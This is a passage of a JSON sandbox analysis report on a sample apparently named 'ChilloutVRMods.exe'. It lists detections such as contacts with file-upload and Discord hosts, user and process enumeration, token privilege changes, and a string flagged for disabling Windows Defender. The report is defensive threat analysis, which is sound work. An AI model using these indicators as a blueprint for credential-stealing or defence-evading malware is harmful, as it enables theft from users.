Traffic","mitre_attack_id":"T1132","relevance":1,"id":"network-78","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"files.pythonhosted.org\" has high entropy\n Contacted domain: \"globalcdn.nuget.org\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"JA3 SSL client fingerprint","description":"Observed JA3 fingerprint: 0cce74b0d9b7f8528fb2181588d23793\n Observed JA3 fingerprint: a685258a6b9efe7d51633cf248ba2c83\n Observed JA3 fingerprint: 1fc1c530fdab845a0a2b05d0b5335bcb\n Observed JA3 fingerprint: 2b8da9e558fef05fabfa78758281c38c","origin":"Network Traffic","relevance":1,"id":"network-55","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Makes HTTPS connections using secure TLS/SSL version","description":"Connection was made using TLSv1.2 [tls.handshake.version: 0x0303]","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":1,"id":"network-54","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Recently renewed or created SSL certificate","description":"Newly renewed or created SSL certificate: \"api.gofile.io\" (3 days old)\n Newly renewed or created SSL certificate: \"discord.com\" (3 days old)\n Newly renewed or created SSL certificate: \"store1.gofile.io\" (3 days old)\n Newly renewed or created SSL certificate: \"store2.gofile.io\" (3 days old)\n Newly renewed or created SSL certificate: \"store3.gofile.io\" (3 days old)\n Newly renewed or created SSL certificate: \"store4.gofile.io\" (3 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-4","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"References OpenSSL library string","description":"$65","origin":"File/Memory","mitre_attack_id":"T1573.002","relevance":1,"id":"string-5003","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://pypi.org/simple/pycryptodome/\n Found HTTPS GET request to https://pypi.org/simple/pywin32/\n Found HTTPS GET request to https://files.pythonhosted.org/packages/33/b1/7afc96d041d982c27bc2df6f853d43f01fd273e3d39d04be3647ddeb533d/pywin32-312-cp310-cp310-win_amd64.whl\n Found HTTPS GET request to https://files.pythonhosted.org/packages/01/3b/bf4a9a401ea2cd867aa4522a97ffa2f5b60a38c3249887f77f0f997d7743/pythonforwindows-1.0.4-py3-none-any.whl\n Found HTTPS GET request to https://files.pythonhosted.org/packages/54/2f/e97a1b8294db0daaa87012c24a7bb714147c7ade7656973fd6c736b484ff/pycryptodome-3.23.0-cp37-abi3-win_amd64.whl","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Short-term SSL certificate detected","description":"Short term registered certificate: \"api.gofile.io\" (89 days old)\n Short term registered certificate: \"catbox.moe\" (89 days old)\n Short term registered certificate: \"discord.com\" (90 days old)\n Short term registered certificate: \"ipinfo.io\" (89 days old)\n Short term registered certificate: \"store1.gofile.io\" (89 days old)\n Short term registered certificate: \"store2.gofile.io\" (89 days old)\n Short term registered certificate: \"store3.gofile.io\" (89 days old)\n Short term registered certificate: \"store4.gofile.io\" (89 days old)","origin":"Certificate Data","mitre_attack_id":"T1583.001","relevance":5,"id":"certificate-3","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"User Agent string indicates scripted web access","description":"Found scripted User Agent pip/21.2.3 {\"ci\":null\n\"cpu\":\"amd64\"\n\"implementation\":{\"name\":\"cpython\"\n\"version\":\"3.10.0\"}\n\"installer\":{\"name\":\"pip\"\n\"version\":\"21.2.3\"}\n\"openssl_version\":\"openssl 1.1.1l 24 aug 2021\"\n\"python\":\"3.10.0\"\n\"setuptools_version\":\"57.4.0\"\n\"system\":{\"name\":\"windows\"\n\"release\":\"10\"}}","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-103","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"34.117.59.81\" on port \"443\"\n HTTPS traffic to \"162.159.128.233\" on port \"443\"\n HTTPS traffic to \"23.55.236.140\" on port \"443\"\n HTTPS traffic to \"151.101.64.223\" on port \"443\"\n HTTPS traffic to \"151.101.192.223\" on port \"443\"\n HTTPS traffic to \"160.202.167.55\" on port \"443\"\n HTTPS traffic to \"45.112.123.227\" on port \"443\"\n HTTPS traffic to \"45.112.123.239\" on port \"443\"\n HTTPS traffic to \"94.139.32.11\" on port \"443\"\n HTTPS traffic to \"45.112.123.230\" on port \"443\"\n HTTPS traffic to \"108.181.20.35\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - AES encryption","description":"YARA signature for AES encryption matched on file \"libcrypto-1_1.dll\"\n YARA signature for AES encryption matched on file \"zeppskdd.exe\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":5,"id":"yara-103","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match - PowerShell file content","description":"YARA signature for detecting PowerShell file matched on process \"00000000-00004788\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00003696\"\n YARA signature for detecting PowerShell file matched on process \"00000000-00005884\"","origin":"YARA Signature","mitre_attack_id":"T1059.001","relevance":3,"id":"yara-36","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Embedded PE executable","description":"YARA signature matched on embedded PE in process \"00000000-00007912\"\n YARA signature matched on embedded PE in file \"sample.bin\"","origin":"YARA Signature","mitre_attack_id":"T1027.009","relevance":2,"id":"yara-140","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Pattern Matching","name":"YARA signature match – Encryption algorithm","description":"YARA signature for encryption algorithm process \"00000000-00003696\"","origin":"YARA Signature","mitre_attack_id":"T1027","relevance":7,"id":"yara-208","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Ransomware/Banking","name":"Attempts to rename multiple files with a new extension, avoiding critical system files","description":"\"python.exe\" appended encryption extension \".pyc\" to 10+ files (.1682462349616, .1682467068432, .1682467329568, .1682467329856, .1682467331296, .1682467333456, .1682467334176, .1682467668976) — SELECTIVE EXCLUSION: no system file types or protected directories touched","origin":"API Call","mitre_attack_id":"T1679","relevance":1,"id":"api-325","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Remote Access Related","name":"Contains ability to retrieve remote user information","description":"$66","origin":"File/Memory","mitre_attack_id":"T1105","relevance":1,"id":"string-579","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLE41997151B354475A7391B14F37A3]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002044.00000000.199435.615E0000.00000004.mdmp, 00000000-00002044.00000001.199487.615E0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLEF7AB5F2BDAE4A18A61902B91A8E4]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002656.00000000.200760.122C0000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE0C9837E07D9F7A9E3AB3A8BBBC7D]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002656.00000000.200760.122C0000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00002656.00000000.200760.122C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to access credential file using Kerberos","description":"Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002044.00000000.199435.615E0000.00000004.mdmp\")\n Found string \"kerberosclient\" (Indicator: \"kerberos\"; Source: \"00000000-00002044.00000001.199487.4D110000.00000004.mdmp\")\n Found string \"Kerberos\" (Indicator: \"kerberos\"; Source: \"00000000-00002656.00000000.200760.122C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1558","relevance":1,"id":"string-868","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to capture screen (API string)","description":"file/memory contains long string with (Indicator: \"CopyFromScreen\"; File: \"cmd.exe\")\n file/memory contains long string with (Indicator: \"CopyFromScreen\"; File: \"powershell.exe\")","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to retrieve usernames and/or user information (API string)","description":"Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetUserNameW\" (Indicator: \"GetUserName\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetProcessWindowStation\" (Indicator: \"GetProcessWindowStation\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetUserObjectInformationW\" (Indicator: \"GetUserObjectInformation\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1033","relevance":1,"id":"string-121","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$67","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"ChilloutVRMods.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"zeppskdd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cmd.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"cscript.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"python.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to enumerate Windows drive types","description":"\"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00005884)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00005884)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter C:\\ (UID: 00000000-00002044)\n \"powershell.exe\" called \"GetDriveTypeW\" with parameter Z:\\ (UID: 00000000-00002044)","origin":"API Call","mitre_attack_id":"T1680","relevance":7,"id":"api-327","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve computer name","description":"\"zeppskdd.exe\" called \"GetComputerNameW\" (UID: 00000000-00004592)\n \"python.exe\" called \"GetComputerNameA\" (UID: 00000000-00003736)\n \"python.exe\" called \"GetComputerNameW\" (UID: 00000000-00003736)","origin":"API Call","mitre_attack_id":"T1082","relevance":2,"id":"api-141","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"09000000001000000000010000000000fffffeffff7f0000ff0000000000000008000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve user name","description":"\"zeppskdd.exe\" called \"GetUserNameW\" (UID: 00000000-00004592)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"2\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00005884)\n \"powershell.exe\" called \"GetUserNameExW\" with parameters {\"NameFormat\": \"65538\"}\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00002044)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00003696)\n \"powershell.exe\" called \"GetUserNameW\" (UID: 00000000-00004788)","origin":"API Call","mitre_attack_id":"T1033","relevance":2,"id":"api-135","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$68","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate running processes using Tasklist","description":"$69","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-517","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"Found reference to API \"GetModuleHandleExW\" (Indicator: \"GetModuleHandle\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetModuleHandleW\" (Indicator: \"GetModuleHandle\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetModuleHandleA\" (Indicator: \"GetModuleHandle\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve class object from a DLL object handler","description":"\"_ctypes.pyd\" contains export function called \"DllGetClassObject\" at ordinal 2","origin":"Static Parser","mitre_attack_id":"T1559.001","relevance":1,"id":"static-177","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the NetBIOS name of the local computer (API string)","description":"Found reference to API \"GetComputerNameExW\" (Indicator: \"GetComputerName\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-122","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the fully qualified path of module (API string)","description":"Found reference to API \"GetModuleFileNameW\" (Indicator: \"GetModuleFileName\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-164","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the host's architecture (API string)","description":"Found reference to API \"GetEnvironmentVariableW\" (Indicator: \"GetEnvironmentVariable\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-107","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the local name for a socket (API string)","description":"Found reference to API \"getsockname\" (Indicator: \"getsockname\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1016","relevance":1,"id":"string-224","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve the time elapsed since the system was started (API string)","description":"Found reference to API \"GetTickCount64\" (Indicator: \"GetTickCount\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetTickCount\" (Indicator: \"GetTickCount\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1497.003","relevance":1,"id":"string-205","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains string like password/secret","description":"$6a","origin":"File/Memory","mitre_attack_id":"T1555","relevance":1,"id":"string-475","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Found system command-related strings","description":"Found string \"/d /s /c \"tasklist /FO CSV /NH\"\" (Indicator: \"tasklist\"; File: \"cmd.exe\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp, 00000000-00002044.00000001.199487.4D110000.00000004.mdmp, 00000000-00002044.00000001.199487.7B8C0000.00000004.mdmp\")\n Found string \"tasklist /FO CSV /NH\" (Indicator: \"tasklist\"; Source: \"00000000-00002656.00000000.200760.122C0000.00000004.mdmp\")\n Found string \"tasklist\" (Indicator: \"tasklist\"; Source: \"00000000-00002656.00000000.200760.122FC000.00000004.mdmp, 00000000-00002656.00000000.200760.12310000.00000004.mdmp, 00000000-00002656.00000000.200760.12580000.00000004.mdmp\")\n Found string \"ping\" (Indicator: \"ping\"; Source: \"00000000-00003696.00000000.199860.B4590000.00000004.mdmp, 00000000-00003696.00000001.199884.4D110000.00000004.mdmp, 00000000-00003696.00000001.199884.B4590000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":7,"id":"string-126","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"References to WMI query strings used for information discovery","description":"Found string \"SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002656.00000000.200760.122FC000.00000004.mdmp, 00000000-00002656.00000000.200760.12580000.00000004.mdmp\")\n Found string \"CT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process\" (Indicator: \" Win32_Process\"; Source: \"00000000-00002656.00000000.200760.122FC000.00000004.mdmp, 00000000-00002656.00000000.200760.12310000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-507","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Able to delete registry key/value (API string)","description":"Found registry deletion API: \"RegDeleteValueW\" in file \"ChilloutVRMods.exe\"\n Found registry deletion API: \"RegDeleteKeyW\" in file \"ChilloutVRMods.exe\"","origin":"File/Memory","mitre_attack_id":"T1112","relevance":1,"id":"string-230","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Calls an API typically used to enable or disable privileges in the specified access token","description":"\"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005884)\n \"python.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003736)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002044)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00003696)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00005868)\n \"tasklist.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00002656)\n \"powershell.exe\" called an API \"AdjustTokenPrivileges\" (UID: 00000000-00004788)","origin":"API Call","mitre_attack_id":"T1134","relevance":3,"id":"api-111","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Calls an API used to open a process handle","description":"Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: ChilloutVRMods.exe]\n Observed import api \"OpenProcess\" which can be \"used to open a process handle\" [Source: python310.dll]","origin":"Static Parser","mitre_attack_id":"T1489","relevance":5,"id":"static-191","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to access device drivers","description":"$6b","origin":"File/Memory","mitre_attack_id":"T1543.003","relevance":1,"id":"string-474","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to bypass UAC using COM object (API string)","description":"Found reference to API \"CoGetObjectContext\" (Indicator: \"CoGetObject\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1548.002","relevance":1,"id":"string-239","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to delete files/directories (API string)","description":"Found reference to API \"RemoveDirectoryW\" (Indicator: \"RemoveDirectory\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"DeleteFileW\" (Indicator: \"DeleteFile\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"DeleteFileA\" (Indicator: \"DeleteFile\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1070.004","relevance":1,"id":"string-308","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to disable Windows Defender using PowerShell","description":"Found string \"DisableRealtimeMonitoring\" (Indicator: \"disablerealtimemonitoring\"; Source: \"00000000-00002044.00000000.199435.7B8C0000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-748","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify file attributes (API string)","description":"Found reference to API \"SetFileAttributesW\" (Indicator: \"SetFileAttributes\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1222","relevance":1,"id":"string-426","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to modify process attributes (API string)","description":"Found reference to API \"UpdateProcThreadAttribute\" (Indicator: \"UpdateProcThreadAttribute\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"InitializeProcThreadAttributeList\" (Indicator: \"InitializeProcThreadAttributeList\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1562.001","relevance":1,"id":"string-402","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to obtains specified information about the security of a file or directory (API string)","description":"Found reference to API \"SetKernelObjectSecurity\" (Indicator: \"SetKernelObjectSecurity\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetTokenInformation\" (Indicator: \"GetTokenInformation\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"RevertToSelf\" (Indicator: \"RevertToSelf\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthority\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetSidSubAuthorityCount\" (Indicator: \"GetSidSubAuthorityCount\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"GetSidSubAuthority\" (Indicator: \"GetSidSubAuthority\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1134.001","relevance":1,"id":"string-114","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to shutdown system","description":"Observed string: \"shutdown\" (Indicator: \"shutdown\") in Source: ChilloutVRMods.exe","origin":"File/Memory","mitre_attack_id":"T1529","relevance":1,"id":"string-406","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to terminate a process (API string)","description":"Found reference to API \"ExitProcess\" (Indicator: \"ExitProcess\"; File: \"ChilloutVRMods.exe\")\n Found reference to API \"TerminateProcess\" (Indicator: \"TerminateProcess\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1489","relevance":1,"id":"string-316","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Contains ability to write files (API string)","description":"Found reference to API \"WriteFile\" (Indicator: \"WriteFile\"; File: \"ChilloutVRMods.exe\")","origin":"File/Memory","mitre_attack_id":"T1105","id":"string-535","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Creates or modifies windows services","description":"$6c","origin":"Registry Access","mitre_attack_id":"T1543.003","relevance":10,"id":"registry-67","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Imports system security related APIs","description":"Observed import api \"GetSidSubAuthority\" which can \"return a pointer to a specified subauthority in a security identifier (SID)\" [Source: ChilloutVRMods.exe]\n Observed import api \"GetSidSubAuthorityCount\" which can \"return a pointer to the member in a security identifier (SID) structure that contains the subauthority count\" [Source: ChilloutVRMods.exe]\n Observed import api \"GetTokenInformation\" which can \"retrieve a specified type of information about an access token\" [Source: ChilloutVRMods.exe]\n Observed import api \"RevertToSelf\" which can \"terminate the impersonation of a client application\" [Source: ChilloutVRMods.exe]\n Observed import api \"SetKernelObjectSecurity\" which can \"set the security of a kernel object\" [Source: ChilloutVRMods.exe]","origin":"Static Parser","mitre_attack_id":"T1134.001","relevance":1,"id":"static-87","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"May contain SSL certificate","description":"$6d","origin":"File/Memory","mitre_attack_id":"T1588.004","relevance":1,"id":"string-574","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Opens the Kernel Security Device Driver (KsecDD) of Windows","description":"\"ChilloutVRMods.exe\" opened \"\\Device\\KsecDD\"\n \"zeppskdd.exe\" opened \"\\Device\\KsecDD\"\n \"powershell.exe\" opened \"\\Device\\KsecDD\"\n \"python.exe\" opened \"\\Device\\KsecDD\"","origin":"API Call","mitre_attack_id":"T1068","relevance":10,"id":"api-37","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Queries services related registry keys","description":"$6e","origin":"Registry Access","mitre_attack_id":"T1007","relevance":1,"id":"registry-173","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"System Security","name":"Writes registry keys","description":"$6f","origin":"Registry Access","mitre_attack_id":"T1112","relevance":3,"id":"registry-136","sources":[{"report_type":"sandbox","report_id":"6a96fb225c897d9f300020e6"}]},{"level":"informative","category":"Unusual Characteristics","name":"Contains reference to multiple windows system processes","description":"Found strings \"smss.exe,csrss.exe,wininit.exe,winlogon.exe,services.exe\" (Source: 